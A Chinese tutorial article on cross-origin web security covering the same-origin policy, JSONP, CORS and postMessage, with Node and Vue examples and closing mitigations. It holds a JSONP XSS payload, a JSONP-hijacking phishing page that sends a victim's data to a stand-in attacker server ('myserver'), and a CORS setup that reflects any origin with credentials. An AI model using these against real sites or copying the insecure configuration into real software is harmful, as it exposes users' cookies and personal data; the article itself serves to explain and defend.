浅谈跨域安全与防护

一、 跨域

1.1 同源策略

同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。

同源策略必须要同时满足以下三个条件,只要有任何一个不同,都被当作是不同的域:

1、协议相同

2、域名相同

3、端口号相同

举例说明:

协议 域名 端口 是否同源 原因
http www.xxx.com 3000
http www.yyy.com 3000 域名不同
https www.xxx.com 3000 协议不同
http www.xxx.com 8000 端口不同

1.2 同源策略限制

同源策略限制了只有同源的脚本才会被执行,当打开一个网站的时候,会首先检查是否同源,如果非同源,在请求数据的时候,浏览器就会进行拦截报异常,拒绝访问。

1.3 跨域目的

绕过同源策略的严格限制,实现以下需求:

1、跨域请求/跨域跳转

2、跨域操作DOM

二、跨域方式

  • JSONP
  • iframe
  • CORS
  • 代理
  • postMessage
  • document.domain
  • canvas操作图片的跨域问题

三、跨域安全漏洞

3.1 JSONP跨域

3.1.1 jsonp跨域原理

利用<script>标签没有跨域限制的漏洞,网页可以从其他来源域动态获取json数据,jsonp跨域请求一定需要对方的服务器支持才可以。

3.1.2 jsonp实现流程

1、服务端必须支持jsonp,且拥有jsonp跨域接口(前提)

2、浏览器客户端声明一个回调函数,其函数名作为参数值,要传递给跨域请求数据的服务器,函数形参为要获取到的返回目标数据

3、创建一个<script>标签,把跨域的API数据接口加载到src属性,并且在这个地址向服务器传递该回调函数名

4、服务器会将数据返回到浏览器客户端,此时客户端会调用回调函数,对返回的数据进行处理

3.1.3 jsonp代码实战
node 服务端

router.get("/jsonp", function(req, res, next) {
  var _callback = req.query.callback;
  var _data = { email: 'example@163.com', name: 'test' };
  if (_callback) {
    res.type('text/javascript');
    res.send(_callback + '(' + JSON.stringify(_data) + ')');
  }else {
    res.json(_data);
  }
});

前端

<script src="http://localhost:3000/jsonp?callback=alert(1)"></script>

以上即为一个简单的jsonp的服务端接口,假设该接口是一个获取用户的个人信息的接口,那么此时只要请求该接口,每个用户就获取到自己该有的个人信息!

3.1.4 JSONP安全威胁

JSONP威胁点通常有两个:

1、对于输入的callback函数名过滤不严格,导致输入的数据直接输出到前端造成XSS

2、JSONP劫持漏洞,由于对于来源域没有严格限制,因此来源于不安全的域的请求也会被响应

a、XSS

反射性XSS漏洞很简单,在get请求中直接构造xss payload即可

http://localhost:3000/jsonp?callback=alert(1)

jsonp xss 漏洞

危害:可以获取到用户的cookie信息或者劫持用户跳转到钓鱼网站

b、JSONP劫持

JSONP劫持,实质上算是一种读类型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。

(1)钓鱼站点

<template>
  <div class="hello">
    jsonp hack  --- 钓鱼站点
  </div>
</template>

<script>
import $ from 'jquery'
export default {
  name: 'jsonp_hack',
  data () {
    return {
    }
  },
  created(){
    const that = this;
    $.ajax({  
        type : "get",  
        async:false,  
        url : "http://localhost:3000/jsonp",  
        dataType : "jsonp",//数据类型为jsonp  
        jsonp: "callback",//服务端用于接收callback调用的function名的参数  
        success : function(data){  
            that.jsonp_hack(data);
        },  
        error:function(){  
            alert('fail');  
        }  
    });   
  },
  methods: {
    jsonp_hack: function(v) {
      alert("jsonp劫持");
      var h = "";
      for (var key in v) {
        var a = "";
        a = key + " : " + v[key] + " ,";
        h += a;
      }
      alert(h);

      $.get("http://myserver?value=" + h);
    }
  }
}
</script>

(2)漏洞利用效果

一旦被攻击者访问该网页,就会自动触发,会自动访问具有漏洞的jsonp接口,利用被攻击者自己的session获取到被攻击者的信息,并将该信息远程发送到攻击者的服务器上

获取用户权限下数据

3.2 CORS跨域

3.2.1 CORS跨域原理

CORS(Cross Origin Resource Sharing),跨域资源共享,为了弥补JSONP等跨域常见技术的缺陷,而提出的安全方便的跨域方案。它允许浏览器想跨域服务器,发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。

CORS需要浏览器和服务器同时支持,相比JSONP更加复杂,但是一般目前的浏览器都是支持的,服务器只需要进行相应配置,其通信过程都是浏览器自动完成,对于开发人员来说,跟写AJAX的代码没有区别,只是会在发送跨域请求时在HTTP请求头中添加一些字段来验证,关键字段如下:

1、Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。

2、Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。

3、Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。

3.2.2 CORS实现流程

1、服务器配置支持CORS,默认认可所有域都可以访问

2、浏览器客户端把所在的域填充到Origin发送跨域请求

3、服务器根据资源权限配置,在响应头中添加Access-Control-Allow-Origin Header,返回结果

4、浏览器比较服务器返回的Access-Control-Allow-Origin Header和请求域的Origin,如果当前域获得授权,则将结果返回给页面

cors 过程

3.2.3 CORS代码实战

利用Node代码实现CORS,只需要在服务器端的代码中加入header字段

a、localhost:3000 服务端代码

router.get("/cors", function(req, res, next) {
  res.header("Access-Control-Allow-Credentials", "true");
  res.header(
    "Access-Control-Allow-Headers",
    "Origin, X-Requested-With, Content-Type, Accept"
  );
  res.header("Access-Control-Allow-Origin", req.headers.origin);
  res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");

  res.json(JSON.stringify(_data));
});

代码简单解释,声明一个个人信息的接口

b、localhost:8080 域中客户端代码

var url = "http://localhost:3000/cors";
$.get(url, function(data) {
   alert(data);
}, "json");

代码简单解释,localhost:8080 利用ajax异步访问 localhost:3000 cors接口

c、代码效果演示


cors

3.2.4 CORS安全威胁

CORS一般最常见的安全威胁就是CORS错误配置导致资源信息泄漏,与JSONP劫持基本上一致。

漏洞原理:通常开发人员使用CORS一般默认允许来自所有域或者由于错误的正则匹配方式造成绕过规定的白名单域

3.3 PostMessage跨域

3.3.1 PostMessage跨域原理

PostMeaage是H5新引入的实现跨域窗口之间的通讯,可以安全地实现windows对象之间的跨域通信

PostMessage主要依靠Window.postMessage方法,该方法有三个参数

1、message:发送到其他窗口的数据

2、targetOrigin:接受数据消息的目标窗口,当该值为星号(* )表示任意一个域都可以接受消息

3、transfer: 一串和message 同时传递的 Transferable 对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。

除了发送之外,必然有一个接受消息的窗口,一般用window.addEventListener(“message”, receiveMessage.false),用以接受消息数据

3.3.2 PostMessage实现流程

1、创建一个页面A,定义一个Postmessage方法

2、创建一个页面B,定义一个window.addEventListener(“message”,function)方法接受来源于Postmessage方法的消息

3、页面A使用Iframe标签包含页面B,触发Postmessage方法即可

3.3.3 PostMessage代码实战

a、localhost:3000 发送消息

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>missfresh-window.postMessage()跨域消息传递</title>
  </head>
  <body>
    <div>
      <input type="text" value="hello,missfresh" /><button id="send">发送消息</button>
    </div>
    <iframe
      src="http://localhost:8080/#/reciveMessage"
      width="500"
      height="500"
      id="receiver"
    ></iframe>
  </body>
</html>
<script>
  window.onload = function() {
    var receiver = document.getElementById("receiver").contentWindow;
    var btn = document.getElementById("send");
    btn.addEventListener("click", function(e) {
      e.preventDefault();
      var val = document.getElementById("text").value;
      receiver.postMessage(val + "!", "*");
    });
  };
</script>

b、localhost:8080 接收消息

window.onload = function() {
    var messageEle = document.getElementById('message');
    window.addEventListener('message', function (e) {
      console.log(e.data);
      messageEle.innerHTML = "从"+ e.origin +"收到消息: " + e.data;
    });
}

c、代码演示效果

(1)未点击发送消息前


发送消息前

(2)点击发送消息后


发送消息后

3.3.4 PostMessage安全威胁

PostMessage跨越一般威胁点在于对于目标域限制不严格导致的,大多数开发人员由于对于postmessage防范中targetOrigin参数默认为* ,因此只要包含了该方法页面,构造利用代码,就能够获取到敏感信息。

a、攻击方式

(1)伪造数据发送端,造成XSS

(2)伪造数据获取端,类似JSONP劫持

b、实际案例(伪造数据发送端)
可以看到构造恶意xss,发送给目标域,就可以获取到目标域的cookie

xss

(伪造数据接收端)
原理: 攻击者将发送端放于自己的vps上,诱导用户点击,用户点击后在伪造的接收端上便可收到用户的敏感信息。

四、跨域安全场景

业务场景跨域场景主要有以下两个场景

1、共享个人信息数据

2、共享cookie数据

4.1 共享cookie数据

目前常见的一种形式,就是统一登陆,所有的大型企业,基本上都采用这种方式,登陆验证后会在所有的该企业其他同三级域中授权,因此一旦某个域出现安全威胁后,就可能窃取到用户的cookie信息,就可以利用该用户的cookie信息伪装用户操作

4.2 共享个人信息数据

有些时候,可能不存在类似xss这类漏洞,直接获取到用户的cookie信息,但是为了数据在资产域中交换,常常利用jsonp、cors技术,但是会存在配置错误就导致,默认所有域可访问、正则被绕过,引入的某个JS资源该服务器不安全等因素,导致数据被劫持

五、跨域安全方案

对于跨域的安全域,要严格控制信任域,禁止配置默认所有域的情况,对于限制的正则表达式要严格测试通过

对于引入的JS等执行脚本,需要保证来源的安全性,避免来源服务器本身的不安全威胁

对于边缘业务子域,要控制其可信度,避免从边缘业务的漏洞影响核心业务

对于非归属业务,禁止子域分配给其他归属,避免第三方不遵守安全,存在漏洞风险,造成对归属业务的影响

六、 参考文献

浏览器的同源策略

不要再问我跨域的问题了

XMLHttpRequest Level 2 使用指南

window.postMessage

挖洞经验 | 如何利用postMessage窃取编辑用户的Cookie信息

postMessage 滥用导致的安全风险

Node.js:设置CORS跨域请求中的多域名白名单

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269